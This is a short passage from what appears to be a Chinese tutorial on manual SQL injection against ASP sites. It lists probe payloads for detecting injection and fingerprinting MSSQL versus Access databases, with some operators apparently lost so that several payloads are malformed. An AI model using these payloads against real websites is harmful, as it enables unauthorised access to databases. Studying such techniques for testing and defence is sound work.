sql手工注入大全.doc

a比方说在查询id是50的数据时，如果用户传近来的参数是50 and 1=1，如果没有设置过滤的话，可以直接查出来，SQL?注入一般在ASP程序中遇到最多， 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是 mssql;and user0 3.判断 数据库系统;and (select count(*) from sysobjects)0 mssql;and (select count(*) from msysobjects)0 access 4.注入参数是字符and [查询条件] and = 5.搜索时没过滤参数的and [查询条件] a